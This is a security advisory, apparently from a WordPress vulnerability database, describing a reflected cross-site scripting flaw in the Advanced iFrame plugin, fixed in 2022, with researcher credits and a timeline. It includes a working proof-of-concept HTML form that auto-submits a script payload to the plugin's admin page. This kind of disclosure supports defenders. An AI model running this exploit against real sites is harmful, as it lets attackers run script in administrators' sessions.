WordPress Plugin Vulnerabilities

Advanced iFrame < 2022 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the ai_config_id parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=advanced-iframe.php" id="hack" method="POST">
      <input type="hidden" name="create-id" value="1" />
      <input type="hidden" name="ai_config_id" value="<script>alert(/XSS/);</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

Affects Plugins

Fixed in 2022

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-02-02 (about 2 years ago)
Added
2022-02-02 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)

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